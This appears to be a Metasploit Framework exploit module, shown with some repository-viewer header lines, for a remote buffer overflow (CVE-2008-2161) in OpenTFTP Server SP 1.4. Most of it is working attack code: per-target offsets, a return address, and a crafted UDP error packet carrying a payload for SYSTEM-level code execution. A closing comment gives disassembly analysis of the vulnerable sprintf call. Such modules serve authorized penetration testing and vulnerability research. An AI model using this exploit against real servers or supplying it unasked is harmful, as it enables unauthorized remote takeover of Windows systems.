139 lines
4.2 KiB
Ruby
139 lines
4.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable
|
|
condition triggers when the TFTP opcode is configured as an error packet, the TFTP
|
|
service will then format the message using a sprintf() function, which causes an
|
|
overflow, therefore allowing remote code execution under the context of SYSTEM.
|
|
|
|
The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',
|
|
or 'Service'). By default the target is set to 'Service' because that's the default
|
|
configuration during OpenTFTP Server SP 1.4's installation.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'tixxDZ', #Initial discovery, poc
|
|
'steponequit' #Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2008-2161'],
|
|
['OSVDB', '44904'],
|
|
['BID', '29111'],
|
|
['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 5000,
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
#.bss section that is overwritten
|
|
[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],
|
|
[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]
|
|
|
|
],
|
|
#TFTP server is installed as an NT service by default
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jul 05 2008'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(69),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
if target.name =~ /OpenTFTP 1.4 Stand Alone/
|
|
# This hits msvcrt.printf()
|
|
sploit = "\x00\x05" + make_nops(10)
|
|
sploit << payload.encoded
|
|
sploit << rand_text_alpha(20517 - payload.encoded.length)
|
|
sploit << [target['Ret']].pack('V')
|
|
sploit << Rex::Text.rand_text_alpha(1469)
|
|
|
|
elsif target.name =~ /OpenTFTP 1.4 Service/
|
|
#This hits time()
|
|
sploit = "\x00\x05" + make_nops(10)
|
|
sploit << payload.encoded
|
|
sploit << rand_text_alpha(20445 - payload.encoded.length)
|
|
sploit << [target['Ret']].pack('V')
|
|
sploit << Rex::Text.rand_text_alpha(1545)
|
|
end
|
|
|
|
# Send the malicious packet
|
|
connect_udp
|
|
udp_sock.put(sploit)
|
|
handler
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
NOTE: If the module is run on a OSX box, you will probably see this error:
|
|
[-] Exploit exception: Message too long
|
|
That's OSX for you.
|
|
|
|
The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:
|
|
.text:004022F6 mov eax, ds:dword_41B370
|
|
.text:004022FB movzx eax, word ptr [eax]
|
|
.text:004022FE mov [esp+5C8h+var_5C8], eax
|
|
.text:00402301 mov [ebp+var_550], 0FFFFFFFFh
|
|
.text:0040230B call ntohs
|
|
.text:00402310 sub esp, 4
|
|
.text:00402313 cmp ax, 5
|
|
.text:00402317 jnz short loc_40236F
|
|
...
|
|
|
|
When the value matches 0x05, we then head down to a sprinf() function to generate an error
|
|
message, which causes an overflow:
|
|
.text:00402330 mov eax, ds:dword_41B370
|
|
.text:00402335 add eax, 4
|
|
.text:00402338 mov [esp+5C8h+var_5BC], eax
|
|
.text:0040233C mov [esp+5C8h+var_5C0], edx
|
|
.text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"
|
|
.text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394
|
|
.text:0040234F call sprintf
|
|
|
|
And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining
|
|
control.
|
|
|
|
In source:
|
|
http://pastebin.com/QgZDwcan
|
|
|
|
else if (ntohs(datain->opcode) == 5) // Line 224
|
|
{
|
|
sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
|
|
logMess(req1, 1);
|
|
..... so on .....
|
|
|
|
You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't
|
|
give you a better crash than this one.
|
|
=end
|